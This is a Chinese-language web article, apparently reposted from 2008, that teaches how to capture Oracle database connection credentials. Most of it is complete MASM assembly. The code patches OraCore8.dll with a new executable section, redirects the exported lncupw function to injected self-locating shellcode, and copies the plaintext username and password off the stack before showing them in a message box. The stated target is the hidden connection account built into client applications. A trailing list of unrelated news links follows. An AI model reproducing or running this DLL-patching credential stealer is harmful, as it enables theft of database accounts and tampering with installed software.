分享
 
 
 

教你如何截获Oracle数据库连接密码

王朝oracle·作者佚名  2008-05-21
窄屏简体版  字體: |||超大  

大部分的服务器/客户端系统的结构可以这样描述:

客户端 系统TCP/IP模块 网络 系统的TCP/IP模块 服务端

对于这些系统,一般的安全问题出在由(2)所示的地方,比如说当使用 POP3 协议收取邮件,或者用 Telnet 登录到远程主机的时候,其登录密码都是未经加密的,只要在网络上安装一个嗅探器 (Sniffer) 来监听数据包,就可以很容易地截获用户名和密码。

但对于 Oracle 系统来说,用户名和密码在网络上传递之前,是经过加密的,而且加密的算法是不可逆的,即使使用嗅探器探听到数据包,开始无法把数据库的连接密码恢复出来,Oracle 系统的结构可以如下描述:

客户端应用程序 Oracle客户端软件 系统TCP/IP模块 网络 系统的TCP/IP模块 Oracle数据库

对于这一类系统,所有在(2)或者(3)处监听到的登录数据包都是已经经过加密的,但是,考虑一下我们编写 Oracle 数据库应用程序的时候,无论是通过 ODBC 还是 Pro C,或者其他的 BDE 环境等,都是将数据库连接的用户名和密码用明文的方式传递给 Oracle 客户端驱动程序的,所以在(1)位置的数据流肯定明文的,密码是在 Oracle 客户端软件中被加密后才经过(2)、(3)等步骤发送出去,如果在(1)的位置进行拦截,就可能拦截到密码。

考虑到步骤(1)发生在应用程序到 Oracle 系统的调用中,也就是发生在 API 调用的层次,所以只要找到密码加密模块的入口,在对相应的 API 进行 Hook,就能截获到密码了。

有人可能存在一个疑问:使用 Sniffer 可以监听到网络上其他计算机的连接数据包,而在 API 层次上进行拦截是针对本机的,但要是自己能够在本机上连接,就表示已经知道密码了,再去截获不是多此一举吗?

非也!

实际上大部分的 Oracle 应用程序都包括一个用户开发的客户端,这个客户端可能是用 C、PowerBuilder 和其他语言开发的,这些软件提供一个界面提示用户输入用户名和密码登录系统,但是这个用户名和密码并不是数据库的连接用户名和密码,而仅仅是一个类似于 users 表中的一条记录而已,而程序内部内置的数据库连接帐号才是我们的目标,一般来说,客户端应用程序是这样工作的:

1. 使用一个内置的数据库连接帐号连接到数据库。

2. 弹出一个对话框提示用户输入用户名 xxx 和密码 yyy

3. 使用类似于 select * from users where username="xxx" and password="yyy" 一类的 SQL 语句查询用户是否有权登录系统。

我们的目标就是步骤1中的连接帐号,这个帐号存在于客户端软件中,虽然可能已经被静态加密(也就是说用16进制软件去搜寻可执行文件时并不能被找到),但它运行后需要连接数据库的时候必然会被解密并用明文传递到 Oracle 客户端软件中。

方法

好了,现在来看看具体的实现方法。

1. 相关的调用

第一步当然要知道在哪里下手,经过了一番跟踪以后(这里省去跟踪的步骤 n 步,大家可以尝试自己跟踪一下),就可以发现用户名和密码是在 OraCore8.dll 模块中的 lncupw 函数中被加密的,而且这个函数的调用方法如下:

invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1

函数的入口参数包括明文的数据库连接用户名和密码,以及他们的长度,运行的结果是在第一个参数Output指定的缓冲区中返回加密后的数据,以后这个加密后的数据会被发送到服务器端进行认证。

2. 具体的实现方案

我们的方法就是在对 OraCore8.dll 进行补丁,在 dll 文件中附加一段代码,然后修改 dll 的导出表中 lncupw 函数对应的入口地址,将它指向到附加的代码中,然后由这段代码在堆栈中取出用户名和密码并显示出来,完成这个步骤后再跳转到原始的 lncupw 函数的入口地址去执行原有的功能。

这个方案涉及到两个技术问题,第一是对 dll 文件的修改问题,这个问题可以归结为在 PE 文件后添加可执行代码的方法问题,第二就是写被附加到 dll 文件后的程序体的问题。

对 dll 文件的修改代码的片断如下,在这以前,我们假定已经做了其他这样一些工作:

※ 文件名字符串放在 szFileName 指定的缓冲区中。

※ 已经对文件进行校验,找到了导出表中的 lncupw 项目,这个项目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 变量中。

※ 找出了 dll 文件中的 PE 文件头位置,并拷贝 PE 文件头到 lpPeHead 指定的位置中。

invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or

FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL

.if eax == INVALID_HANDLE_VALUE

invoke MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR

jmp _Ret

.endif

mov @hFile,eax

;********************************************************************

; esi --> 原PeHead

; edx --> 最后一个节表,ebx --> 新加的节表

;********************************************************************

mov esi,lpPeHead

assume esi:ptr IMAGE_NT_HEADERS

movzx eax,[esi].FileHeader.NumberOfSections

dec eax

mov ecx,sizeof IMAGE_SECTION_HEADER

mul ecx

mov edx,esi

add edx,eax

add edx,sizeof IMAGE_NT_HEADERS

mov ebx,edx

add ebx,sizeof IMAGE_SECTION_HEADER

assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER

;********************************************************************

; 加入一个新的节,并修正一些PE头部的内容

;********************************************************************

inc [esi].FileHeader.NumberOfSections

mov eax,[edx].PointerToRawData

add eax,[edx].SizeOfRawData

mov [ebx].PointerToRawData,eax

invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment

mov [ebx].SizeOfRawData,eax

invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment

add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode

add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage

invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment

add eax,[edx].VirtualAddress

mov [ebx].VirtualAddress,eax

mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE

mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE

or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

invoke lstrcpy,addr [ebx].Name1,addr szMySection

;********************************************************************

; 写文件

;********************************************************************

invoke SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN

invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,

addr @dwTemp,NULL

invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN

invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,

addr @dwTemp,NULL

mov eax,[ebx].PointerToRawData

add eax,[ebx].SizeOfRawData

invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN

invoke SetEndOfFile,@hFile

;********************************************************************

; 修正新加代码中的 Jmp oldEntry 指令

;********************************************************************

mov eax,[ebx].VirtualAddress

add eax,(offset _dwOldEntry-offset APPEND_CODE+4)

sub dwProcEntry,eax

mov ecx,[ebx].PointerToRawData

add ecx,(offset _dwOldEntry-offset APPEND_CODE)

invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN

invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL

;********************************************************************

; 修正入口指针

;********************************************************************

mov eax,[ebx].VirtualAddress

add eax,(offset _NewEntry-offset APPEND_CODE)

mov dwProcEntry,eax

invoke SetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGIN

invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL

;********************************************************************

; 关闭文件

;********************************************************************

invoke CloseHandle,@hFile

_Ret:

; 修改完成

这段代码完成了3个步骤,首先是扫描PE文件头中的节表,并在最后添加一个新的节,以便把附加的代码写到这个节中,这个节的属性被设置为可执行、可读、可写,因为代码运行需要的数据区也放在这里。然后程序修改附加代码最后的 jmp 指令,将它指到原始的 lncupw 函数中。最后程序在 dll 的导出表中将 lncupw 函数的入口地址指向附加代码中。

下面是被附加到 dll 后的代码,这段代码被写成可以自我定位的格式,代码首先在内存中找出 Kernel32.dll 的位置并从中找出 LoadLibrary 函数和 GetProcAddress 函数的地址,然后调用这两个函数获取其他一系列要用到的函数的入口地址:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; 要被添加到 OraCore8.dll 文件后面的执行代码

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;

;

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; 一些函数的原形定义

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_ProtoGetProcAddress typedef proto :dword,:dword

_ProtoLoadLibrary typedef proto :dword

_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword

_Protowsprintf typedef proto c :dword,:VARARG

_ApiGetProcAddress typedef ptr _ProtoGetProcAddress

_ApiLoadLibrary typedef ptr _ProtoLoadLibrary

_ApiMessageBox typedef ptr _ProtoMessageBox

_Apiwsprintf typedef ptr _Protowsprintf

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;

;

APPEND_CODE equ this byte

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; 被添加到目标文件中的代码从这里开始

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

hDllKernel32 dd ?

hDllUser32 dd ?

_GetProcAddress _ApiGetProcAddress ?

_LoadLibrary _ApiLoadLibrary ?

_MessageBox _ApiMessageBox ?

_wsprintf _Apiwsprintf ?

szLoadLibrary db "LoadLibraryA",0

szGetProcAddress db "GetProcAddress",0

szUser32 db "user32",0

szMessageBox db "MessageBoxA",0

szwsprintf db "wsprintfA",0

szCaption db "Oracle 8i 密码截取补丁",0

szFormatPwd db "截获 Oracle 连接:",0dh,0ah,0dh,0ah

db "用户名:%s",0dh,0ah

db "密 码:%s",0

szTmpBuffer db 512 dup (?)

szUserName db 64 dup (?)

szPassWord db 64 dup (?)

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; 错误 Handler

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext

pushad

mov esi,_lpExceptionRecord

mov edi,_lpContext

assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT

mov eax,_lpSEH

push [eax + 0ch]

pop [edi].regEbp

push [eax + 8]

pop [edi].regEip

push eax

pop [edi].regEsp

assume esi:nothing,edi:nothing

popad

mov eax,ExceptionContinueExecution

ret

_SEHHandler endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; 在内存中扫描 Kernel32.dll 的基址

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

szKernel32 db "KERNEL32"

_GetKernelBase proc _dwKernelRet

local @dwReturn

pushad

mov @dwReturn,0

;********************************************************************

; 重定位

;********************************************************************

call @F

@@:

pop ebx

sub ebx,offset @B

;********************************************************************

; 创建用于错误处理的 SEH 结构

;********************************************************************

assume fs:nothing

push ebp

lea eax,[ebx + offset _PageError]

push eax

lea eax,[ebx + offset _SEHHandler]

push eax

push fs:[0]

mov fs:[0],esp

;********************************************************************

; 查找 Kernel32.dll 的基地址

;********************************************************************

mov edi,_dwKernelRet

and edi,0ffff0000h

.while TRUE

.if word ptr [edi] == IMAGE_DOS_SIGNATURE

mov esi,edi

add esi,[esi+003ch]

.if word ptr [esi] == IMAGE_NT_SIGNATURE

assume esi:ptr IMAGE_NT_HEADERS

mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress

add esi,edi

assume esi:ptr IMAGE_EXPORT_DIRECTORY

mov esi,[esi].nName

add esi,edi

mov ecx,sizeof szKernel32

push edi

lea edi,[ebx+szKernel32]

cld

repz cmpsb

pop edi

.if ZERO?

mov @dwReturn,edi

.break

.endif

assume esi:nothing

.endif

.endif

_PageError:

sub edi,010000h

.break .if edi < 70000000h

.endw

pop fs:[0]

add esp,0ch

popad

mov eax,@dwReturn

ret

_GetKernelBase endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; 从内存中模块的导出表中获取某个 API 的入口地址

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_GetApi proc _hModule,_lpszApi

local @dwReturn,@dwStringLength

pushad

mov @dwReturn,0

;********************************************************************

; 重定位

;********************************************************************

call @F

@@:

pop ebx

sub ebx,offset @B

;********************************************************************

; 创建用于错误处理的 SEH 结构

;********************************************************************

assume fs:nothing

push ebp

lea eax,[ebx + offset _Error]

push eax

lea eax,[ebx + offset _SEHHandler]

push eax

push fs:[0]

mov fs:[0],esp

;********************************************************************

; 计算 API 字符串的长度(带尾部的0)

;********************************************************************

mov edi,_lpszApi

mov ecx,-1

xor al,al

cld

repnz scasb

mov ecx,edi

sub ecx,_lpszApi

mov @dwStringLength,ecx

;********************************************************************

; 从 PE 文件头的数据目录获取导出表地址

;********************************************************************

mov esi,_hModule

add esi,[esi + 3ch]

assume esi:ptr IMAGE_NT_HEADERS

mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress

add esi,_hModule

assume esi:ptr IMAGE_EXPORT_DIRECTORY

;********************************************************************

; 查找符合名称的导出函数名

;********************************************************************

mov ebx,[esi].AddressOfNames

add ebx,_hModule

xor edx,edx

.repeat

push esi

mov edi,[ebx]

add edi,_hModule

mov esi,_lpszApi

mov ecx,@dwStringLength

repz cmpsb

.if ZERO?

pop esi

jmp @F

.endif

pop esi

add ebx,4

inc edx

.until edx >= [esi].NumberOfNames

jmp _Error

@@:

;********************************************************************

; API名称索引 --> 序号索引 --> 地址索引

;********************************************************************

sub ebx,[esi].AddressOfNames

sub ebx,_hModule

shr ebx,1

add ebx,[esi].AddressOfNameOrdinals

add ebx,_hModule

movzx eax,word ptr [ebx]

shl eax,2

add eax,[esi].AddressOfFunctions

add eax,_hModule

;********************************************************************

; 从地址表得到导出函数地址

;********************************************************************

mov eax,[eax]

add eax,_hModule

mov @dwReturn,eax

_Error:

pop fs:[0]

add esp,0ch

assume esi:nothing

popad

mov eax,@dwReturn

ret

_GetApi endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; 新的入口地址

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_NewEntry:

;********************************************************************

; 重定位并获取一些 API 的入口地址

;********************************************************************

pushad

call @F

@@:

pop ebx

sub ebx,offset @B

;********************************************************************

.if dword ptr [ebx+_MessageBox]

jmp @F

.endif

;********************************************************************

invoke _GetKernelBase,7b000000h ;获取Kernel32.dll基址

or eax,eax

jz _ToOldEntry

mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口

lea eax,[ebx+szGetProcAddress]

invoke _GetApi,[ebx+hDllKernel32],eax

or eax,eax

jz _ToOldEntry

mov [ebx+_GetProcAddress],eax

lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口

invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax

or eax,eax

jz _ToOldEntry

mov [ebx+_LoadLibrary],eax

lea eax,[ebx+szUser32] ;获取User32.dll基址

invoke [ebx+_LoadLibrary],eax

or eax,eax

jz _ToOldEntry

mov [ebx+hDllUser32],eax

lea eax,[ebx+szMessageBox] ;获取MessageBox入口

invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax

mov [ebx+_MessageBox],eax

or eax,eax

jz _ToOldEntry

lea eax,[ebx+szwsprintf] ;获取MessageBox入口

invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax

mov [ebx+_wsprintf],eax

or eax,eax

jz _ToOldEntry

;********************************************************************

; 程序功能开始

;********************************************************************

; lncupw 的调用方式是:

; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1

; 现在的堆栈内容是:

; ...

; esp+14*4 dwLenUserName

; esp+13*4 addr szUserName

; esp+12*4 dwLenPass

; esp+11*4 addr szPassword

; esp+10*4 1eh

; esp+9*4 addr Output

; esp+8*4 call"s return address

; esp+到esp+8*4 pusha 推入堆栈的8个寄存器值

;

; 所以,从 esp+13*4 和 esp+11*4 取出的就是 Oracle 应用程序

; 传递进来的用来连接数据库的用户名和密码地址。

;********************************************************************

@@:

mov esi,[esp+13*4] ;username

lea edi,[ebx+szUserName]

mov ecx,[esp+14*4]

cmp ecx,60

jle @F

mov ecx,60

@@:

cld

rep movsb

xor eax,eax

stosb

mov esi,[esp+11*4] ;password

lea edi,[ebx+szPassWord]

mov ecx,[esp+12*4]

cmp ecx,60

jle @F

mov ecx,60

@@:

rep movsb

xor eax,eax

stosb

lea eax,[ebx+szUserName]

lea ecx,[ebx+szPassWord]

lea edx,[ebx+szFormatPwd]

lea esi,[ebx+szTmpBuffer]

invoke [ebx+_wsprintf],esi,edx,eax,ecx

lea ecx,[ebx+szTmpBuffer]

lea eax,[ebx+szCaption]

invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION

;********************************************************************

; 执行原来的文件

;********************************************************************

_ToOldEntry:

popad

db 0e9h ;0e9h是jmp xxxxxxxx的机器码

_dwOldEntry:

dd ? ;用来填入原来的 lncupw 函数的入口地址

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

APPEND_CODE_END equ this byte

对 OraCore8.dll 进行了这样的补丁以后,凡是有应用程序连接 Oracle 数据库,附加代码就可以截获到连接所用的用户名和密码并通过一个 MessageBox 显示出来了!

(T114)

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有